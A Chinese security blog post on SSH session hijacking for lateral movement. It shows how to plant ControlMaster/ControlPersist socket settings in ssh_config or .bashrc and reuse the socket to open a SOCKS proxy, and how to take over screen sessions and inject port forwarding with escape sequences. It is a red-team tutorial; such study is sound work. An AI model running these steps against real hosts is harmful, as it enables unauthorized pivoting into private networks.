avatar

目录
SSH劫持

一、简介

Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent’s socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. Compromising the SSH agent also provides access to intercept SSH credentials.

安全外壳(SSH)是Linux和macOS系统上远程访问的一种标准方法。它允许用户通过加密隧道连接到另一个系统,通常通过密码,证书或使用非对称加密密钥对进行身份验证。
为了从受感染的主机侧向移动,攻击者可以通过劫持与另一系统的现有连接,来利用主动SSH会话中通过公钥身份验证与其他系统建立的信任关系。这可能是通过破坏SSH代理本身或通过访问代理的套接字而发生的。如果攻击者能够获得root用户访问权限,则劫持SSH会话可能很简单。破坏SSH代理还提供了拦截SSH凭据的访问权限。

二、复现

2.1 第一种场景

网络拓扑示意图

如上图所示,SSH_User客户通过ssh连接到主机1,攻击者已控制SSH_User这台机器,攻击者可通过注入端口转发来实现入侵主机1和主机2之后的网络。

  1. 攻击者可以用两种方式来修改ssh客户端,如果有ROOT权限可以直接修改/etc/ssh/ssh_config,如果没有修改ssh_config文件的权限,可以通过在相应用户的.bashrc中封装ssh来实现。主要涉及的项如下:

    Code
    1
    2
    3
    ControlPath /tmp/%[email protected]%h:%p 
    ControlMaster auto
    ControlPersist yes


    如果打开了ControlPersist,表示用户在进行SSH连接后,即使退出了会话,我们也能通过socket劫持,因为这个文件不会删除。

  2. 当SSh_User连接到主机1时,护在/tmp目录下生成一个socket文件,可以用他来连接

ssh -O forward -D 8888 -S /tmp/socket连接 %x


此时,可以用SSH_User这台机器的8888端口进行SOCKS5代理,访问主机2和之后的网段了

2.2 第二种场景

  1. 当SSH_User用户使用screen管理ssh会话时候,在远程连接主机1时,会在/var/run/screen有显示相应的文件

    Code
    1
    2
    3
    4
    5
    [email protected]:~# ls -la /var/run/screen/
    total 0
    drwxrwxr-x 3 root utmp 60 Mar 16 03:37 .
    drwxr-xr-x 20 root root 640 Mar 3 21:23 ..
    drwx------ 2 root root 60 Mar 16 04:21 S-root

    其中S-ROOT表示是本地的root用户连接的远程,可以用screen -r root/来接管会话

  2. 注入端口转发,需要先执行script /dev/null来绕过pts/tty限制,如下:

    Code
    1
    2
    3
    4
    5
    6
    7
    8
    9
    [email protected]:~# lsof -i TCP:8888
    [email protected]:~# script /dev/null
    Script started, file is /dev/null
    [email protected]:~# screen -S 6851.pts-0.kali -p 0 -X stuff $'~C'
    [email protected]:~# screen -S 6851.pts-0.kali -p 0 -X stuff $'-D:8888\n\n'
    [email protected]:~# lsof -i TCP:8888
    COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
    ssh 6852 root 7u IPv4 94301 0t0 TCP *:8888 (LISTEN)
    ssh 6852 root 8u IPv6 94302 0t0 TCP *:8888 (LISTEN)
文章作者: 夜莺
文章链接: https://www.shallowdream.cn/posts/18319.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 夜莺